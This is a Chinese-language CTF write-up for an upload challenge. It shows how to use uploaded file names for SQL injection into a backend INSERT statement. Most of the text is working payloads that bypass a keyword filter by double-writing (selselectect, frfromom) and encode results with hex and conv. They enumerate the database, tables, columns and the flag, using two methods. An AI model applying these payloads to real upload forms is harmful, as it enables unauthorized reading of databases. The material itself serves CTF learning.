做法:
利用文件名進行sql注入
思路:
推測后台的insert插入語句為:
insert into 表名('filename',...) values('你上傳的文件名',...);
構造以下語句進行注入:
文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg
拼接后的sql語句為:
...values('文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg',...);
CONV(n,from_radix,to_radix):用於將n從from_radix進制轉到to_radix進制
substr(str,start,length):將str從start長度為length分割
hex(str):將str轉成十六進制
一點疑問&細節:
-
select、from被過濾,用雙寫繞過
-
為什么不直接采用
sselectelect database()
進行注入: 部分注入回顯:
'+(selselectect dAtabase())+'.jpg => 0
'+(selecselectt substr(dAtabase(),1,12))+'.jpg => 0
'+(selecselectt substr(hex(dAtabase()),1,12))+'.jpg => 7765625
第三句代碼應該回顯‘7765625f7570’,遇到’f‘導致截斷,所以需要conv轉成十進制輸出
-
substr中的長度限制:不限制長度會導致返回值太大,系統使用科學計數法(xx e xxxxx)表示。
題目限制條件
- 回顯不能出現字母 ---》 轉成十進制
- 要使注入后的語句正確閉合 ---》猜測語句結構,正確閉合
- 防止回顯數據過大使得程序返回科學計數型的結果 ---》 限制回顯長度
步驟
上傳利用語句注入的文件名在上傳文件中進行注入,對substr的截取位置由讀者自行調整直至獲得完整名稱
1. 庫名
file_name' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg
# 得到庫名:web_upload
2. 表名
file_name'+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
# 得到表名:hello_flag_is_here
3. 字段
file_name'+(seleselectct+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg
# 得到字段名:i_am_flag
4. 獲得數據
file_name'+(seleselectct+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
# 得到flag:!!_@m_Th.e_F!lag
其他做法(更簡單,要求腦洞):
如果對表的結構猜測得當,很快就能解決這道題目,參考某dalao的wp中寫出的結構:
(filename.jpg,uid,uid)
語句構造
在上傳文件的時候,網站會回顯uid給我們,所以要先上傳一個文件,獲取uid,覺得網頁跳轉太快的可以抓包
我們構造(filename,'uid','uid'),((database()),'uid','uid')#.jpg ','uid','uid');
拼接后的語句為(filename,'uid','uid'),((database()),'uid','uid')
對應的回顯就是我們上傳文件的filename和database(),說明注入成功
步驟
我們對這個語句進行注入構造,uid自行替換
1. 庫名
filename','uid','uid'),((database()),'uid','uid')#.jpg
# 例:filename','1661','1661'),((database()),'1661','1661')#.jpg
2. 表名
filename','uid','uid'),((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema = 'web_upload'),'uid','uid')#.jpg
#'--------------------------------分割行
3. 字段名
filename','uid','uid'),((selselectect group_concat(column_name) frfromom information_schema.columns where table_name = 'hello_flag_is_here'),'uid','uid')#.jpg
#'--------------------------------分割行
4. 獲得數據
filename','uid','uid'),((selselectect i_am_flag frfromom hello_flag_is_here),'uid','uid')#.jpg
參考連接:
https://www.cnblogs.com/sharpff/p/10728498.html
https://blog.csdn.net/qq_42181428/article/details/89345094#upload_168